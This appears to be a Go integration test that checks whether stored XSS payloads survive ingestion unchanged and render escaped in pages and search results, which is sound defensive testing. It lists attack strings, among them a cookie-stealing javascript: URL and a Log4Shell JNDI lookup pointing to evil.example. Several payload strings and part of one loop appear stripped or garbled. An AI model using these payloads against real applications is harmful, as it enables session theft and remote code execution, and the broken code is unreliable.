//go:build integration package tests import ( "context" "errors" "html/template" "strings" "testing" "time" "github.com/andydixon/relata/internal/analysis" "github.com/andydixon/relata/internal/domain" "github.com/andydixon/relata/internal/ingest" ) // --- Stored XSS ------------------------------------------------------------ // xssPayloads are stored verbatim (Relata never rewrites source material) and // must be inert when rendered. var xssPayloads = []string{ ``, ``, ``, `javascript:alert(document.cookie)`, `">`, ``, ``, `'"-->`, `click`, `{{.Secret}}`, `${jndi:ldap://evil.example/x}`, } func TestSecurity_StoredXSSPayloadsSurviveIngestionAndRenderEscaped(t *testing.T) { ctx := context.Background() h := newHarness(t) for _, payload := range xssPayloads { // The payload appears in the title, the body and the metadata. item := h.ingestAndWait(ctx, "Report about "+payload, "The contractor said "+payload+" during the meeting on 3 March 2025.", withMetadata(map[string]string{"note": payload})) // 1. Preserved verbatim — Relata never silently rewrites source material. if !strings.Contains(item.OriginalText, payload) { t.Errorf("payload %q was altered in storage", payload) } if !strings.Contains(item.Title, payload) { t.Errorf("payload %q was altered in the title", payload) } // 2. Escaped on render. This is what html/template does on every page. // // The assertion is that no tag can OPEN — an escaped payload still // contains the characters "onerror=" as inert text, so grepping for // event-handler names would flag correct output. What matters is that // the angle brackets are escaped and the payload does not survive // verbatim into the markup. for _, field := range []string{item.Title, item.OriginalText, item.Metadata["note"]} { rendered := renderThroughTemplate(t, field) lower := strings.ToLower(rendered) for _, opener := range []string{"") && strings.Contains(rendered, payload) { t.Errorf("payload %q survived into the markup unescaped:\n%s", payload, rendered) } } } } // renderThroughTemplate renders a value exactly as a page does. func renderThroughTemplate(t *testing.T, value string) string { t.Helper() tmpl := template.Must(template.New("t").Parse(`
{{.}}
l`)) var sb strings.Builder if err := tmpl.Execute(&sb, value); err != nil { t.Fatalf("render: %v", err) } return sb.String() } func TestSecurity_XSSPayloadsAreEscapedInSearchResults(t *testing.T) { ctx := context.Background() h := newHarness(t) payload := `` h.ingestAndWait(ctx, "Delivery "+payload, "The delivery date is 14 March 2025 "+payload+" per Example Ltd.") h.waitForQueue(ctx, 60*time.Second) resp, err := h.search.Search(ctx, h.principal, search_Query("delivery date")) if err != nil { t.Fatal(err) } if len(resp.Results) == 0 { t.Fatal("no results") } // The payload is present in the data (nothing was rewritten) and inert once // rendered. for _, r := range resp.Results { rendered := renderThroughTemplate(t, r.Item.Title+" "+r.Excerpt) if strings.Contains(strings.ToLower(rendered), "